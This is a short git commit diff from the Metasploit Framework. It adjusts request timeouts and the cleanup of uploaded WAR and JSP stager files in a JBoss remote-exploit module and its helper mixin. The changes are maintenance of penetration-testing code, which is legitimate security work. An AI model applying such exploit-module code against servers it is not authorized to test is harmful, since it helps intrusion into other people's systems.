Fix timeout with HEAD request in delete_file

bug/bundler_fix
us3r777 2014-09-08 18:34:50 +02:00
parent cc5b852517
commit b8ba2dd703
2 changed files with 7 additions and 5 deletions

View File

@ -55,10 +55,12 @@ module Msf::HTTP::JBoss::DeploymentFileRepository
if http_verb == 'POST'
opts.merge!('vars_post' => params)
timeout = 5
else
opts.merge!('vars_get' => params)
timeout = 30
end
send_request_cgi(opts)
send_request_cgi(opts, timeout)
end
end

View File

@ -168,11 +168,11 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("This might take some time, be patient...") if http_verb == "HEAD"
delete_res = []
if head_stager_jsp_name
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp_name, '.jsp')
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
end
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp_name, '.jsp')
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
delete_res << delete_file('./', stager_base + '.war', '')
delete_res << delete_file('./', app_base + '.war', '')
delete_res.each do |res|
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")